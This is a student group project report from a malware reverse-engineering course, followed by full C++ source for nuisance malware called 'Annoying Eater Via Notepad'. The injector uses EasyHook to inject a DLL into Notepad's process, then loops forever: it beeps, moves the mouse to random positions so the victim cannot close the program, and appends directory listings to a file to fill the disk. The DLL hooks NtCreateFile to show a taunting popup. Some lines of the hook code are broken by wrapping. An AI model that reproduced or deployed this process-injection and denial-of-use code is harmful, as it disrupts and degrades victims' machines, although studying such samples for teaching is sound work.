Project: Annoying Eater Via Notepad

Group Members: Gabriel Perry, Nataly Alvarado, Luis Fuentes

Date: 12/09/2018

The goal of the virus we have developed is fairly simple, it takes control of the mouse (make in it virtually impossible for the victim to close our malicious program), it makes "beep" sounds repeatedly to annoy the victim and it consumes memory space of the victim's machine indefinitely. Also, our malware attaches to a desired process (in our case notepad) through the EasyHook library. In order to write the code for this malicious program, we obtained code samples from many sources across the internet and made numerous modifications and additions to make it fit our desired behavior.

To attach our program to a running process we chose to use the hooking method. We used an example in which the EasyHook library was implemented to connect into BeepHook.dll function by developing an injector and a dll (which holds the malicious payload) as a starting point to the creation of our hooking procedure. The code can be found at: http://easyhook.github.io/tutorials/nativeremotehook.html. We modified the code because we needed to attack to a process instead of a function. To achieve this, we used the GetWindowThreatProcessID function, which gave us the process ID once we provided the name and handle to the process window. In the created dll we replaced the beep function with our payload. For the malicious payload we researched through documentation in the web and watched different YouTube videos to use them as guide to write our own code.

Going in depth, our code consists of two functions. For the first function, we initialized the x and y coordinates with the size of the width and length of the machine respectively. Also, we set the cursor location to random coordinates within the x and y boundaries. Finally, we set a sleep function of 1/10 second duration, this was done to frustrate the victim. For the second function, we used a system call to create a new file of type .exe containing the systems' information, the file is saved in the same folder as our malware. We opted for this implementation because it fills the victim's memory quickly and efficiently. Both function run in an indefinite while loop. The ultimate purpose of the program is to distract the user with the mouse movement and the beep while the memory is consumed with the space eater, disabling the system.

Communication among group members was achieved through GitHub. Our process can be found at: https://github.com/SauvageP/NotepadHook-Group-Project.

Project: Annoying Eater Via Notepad

Group Members: Gabriel Perry, Nataly Alvarado, Luis Fuentes

Date: 12/09/2018

Source Code

Injector:

```
/*
	This is our group project for EEL 4084 Introduction to Malware Reverse Engineering with
	Dr. Pons at FIU. This is for educational purposes only. Please do not run this code on your system.
	It is designed to run on 64-Bit processes and can cause serious problems for your computer.
*/

#include <tchar.h>
#include <iostream>
#include <string>
#include <cstring>
#include <Windows.h>
#include <easyhook.h>
#include <Psapi.h>
#include <algorithm>
#include <stdio.h>


using namespace std;


wstring StringToWString(const string& s);
wstring StringToWString(const string& s)
{
	wstring temp(s.length(), L' ');
	copy(s.begin(), s.end(), temp.begin());
	return temp;
}


void randomMouse();
void randomMouse()
{
	int mx, my;
	mx = GetSystemMetrics(SM_CXSCREEN) - 1;
```

Project: Annoying Eater Via Notepad

Group Members: Gabriel Perry, Nataly Alvarado, Luis Fuentes

Date: 12/09/2018

```
        my = GetSystemMetrics(SM_CYSCREEN) - 1;


        SetCursorPos(1 + (rand() % mx), 1 + (rand() % my));


        // 1000 = 1 second.
        Sleep(100);
}


int _tmain(int argc, _TCHAR* argv[])
{
        string s1 = "Untitled - Notepad";
        wstring s2 = StringToWString(s1);


        HWND windowHandle = FindWindowW(NULL, s2.c_str());
        DWORD* processID = new DWORD;


        GetWindowThreadProcessId(windowHandle, processID);
        DWORD processId = (DWORD)*processID;


        WCHAR* dllToInject = L"..\\x64\\Debug\\Notepad_Hook.dll";
        wprintf(L"Attempting to inject: %s\n\n", dllToInject);


        // Inject dllToInject into the target process Id, passing
        // freqOffset as the pass through data.
        NTSTATUS nt = RhInjectLibrary(
                processId,            // The process to inject into
                0,                            // ThreadId to wake up upon injection
                EASYHOOK_INJECT_STEALTH,
                NULL,                 // 32-bit
                dllToInject,   // 64-bit not provided
                NULL,                 // data to send to injected DLL entry point
                0                             // size of data to send
        );
```

Project: Annoying Eater Via Notepad

Group Members: Gabriel Perry, Nataly Alvarado, Luis Fuentes

Date: 12/09/2018

```
		if (nt != 0)
		{
			printf("RhInjectLibrary failed with error code = %d\n", nt);
			PWCHAR err = RtlGetLastErrorString();
			wcout << err << "\n";
		}
		else
		{
			std::wcout << L"Library injected successfully.\n";
			FreeConsole();
			while (true)
			{
				Beep(500, 500);
				Beep(1500, 500);
				randomMouse();
				system("dir>>RainbowTable.txt");
			}
		}


		wcout << "Press Enter to exit";
		wstring input;
		getline(wcin, input);
		getline(wcin, input);
		return 0;
	}
```

Hook:

```
#inclu
de
<tchar
.h>
	#include <easyhook.h>
	#include <string>
```

Project: Annoying Eater Via Notepad

Group Members: Gabriel Perry, Nataly Alvarado, Luis Fuentes

Date: 12/09/2018

```
#include <iostream>
#include <Windows.h>
#include <WinNT.h>


DWORD gFreqOffset = 0;
NTSTATUS NtCreateFileHook(
	PHANDLE FileHandle,
	ACCESS_MASK DesiredAccess,
	POBJECT_ATTRIBUTES ObjectAttributes,
	PIO_STATUS_BLOCK IoStatusBlock,
	PLARGE_INTEGER AllocationSize,
	ULONG FileAttributes,
	ULONG ShareAccess,
	ULONG CreateDisposition,
	ULONG CreateOptions,
	PVOID EaBuffer,
	ULONG EaLength
){
	//This is where to add code or run an executable. Here, I created a popup
message displaying my message. You can also add buttons with labels.


	MessageBox(GetActiveWindow(), (LPCWSTR)L"The Best Group: Gabriel, Nataly, and
Luis!!!", (LPCWSTR)L"P4WN'D", MB_ICONWARNING | MB_OK);
	return
NtCreateFile(FileHandle,DesiredAccess,ObjectAttributes,IoStatusBlock,AllocationSize,
FileAttributes,ShareAccess,
		CreateDisposition,CreateOptions,EaBuffer,EaLength);
}


// EasyHook will be looking for this export to support DLL injection. If not found
then
// DLL injection will fail.
extern "C" void __declspec(dllexport) __stdcall
NativeInjectionEntryPoint(REMOTE_ENTRY_INFO* inRemoteInfo);


void __stdcall NativeInjectionEntryPoint(REMOTE_ENTRY_INFO* inRemoteInfo)
```

Project: Annoying Eater Via Notepad

Group Members: Gabriel Perry, Nataly Alvarado, Luis Fuentes

Date: 12/09/2018

```
{

	// Perform hooking
	HOOK_TRACE_INFO hHook = { NULL }; // keep track of our hook


	// Install the hook
	NTSTATUS result = LhInstallHook(
		GetProcAddress(GetModuleHandle(TEXT("ntdll")), "NtCreateFile"),
		NtCreateFileHook,
		NULL,
		&hHook);
	if (FAILED(result))
	{
		MessageBox(GetActiveWindow(), (LPCWSTR)RtlGetLastErrorString(),
(LPCWSTR)L"Failed to install hook", MB_OK);
	}


	// If the threadId in the ACL is set to 0,
	// then internally EasyHook uses GetCurrentThreadId()
	ULONG ACLEntries[1] = { 0 };


	// Disable the hook for the provided threadIds, enable for all others
	LhSetExclusiveACL(ACLEntries, 1, &hHook);


	return;
}
```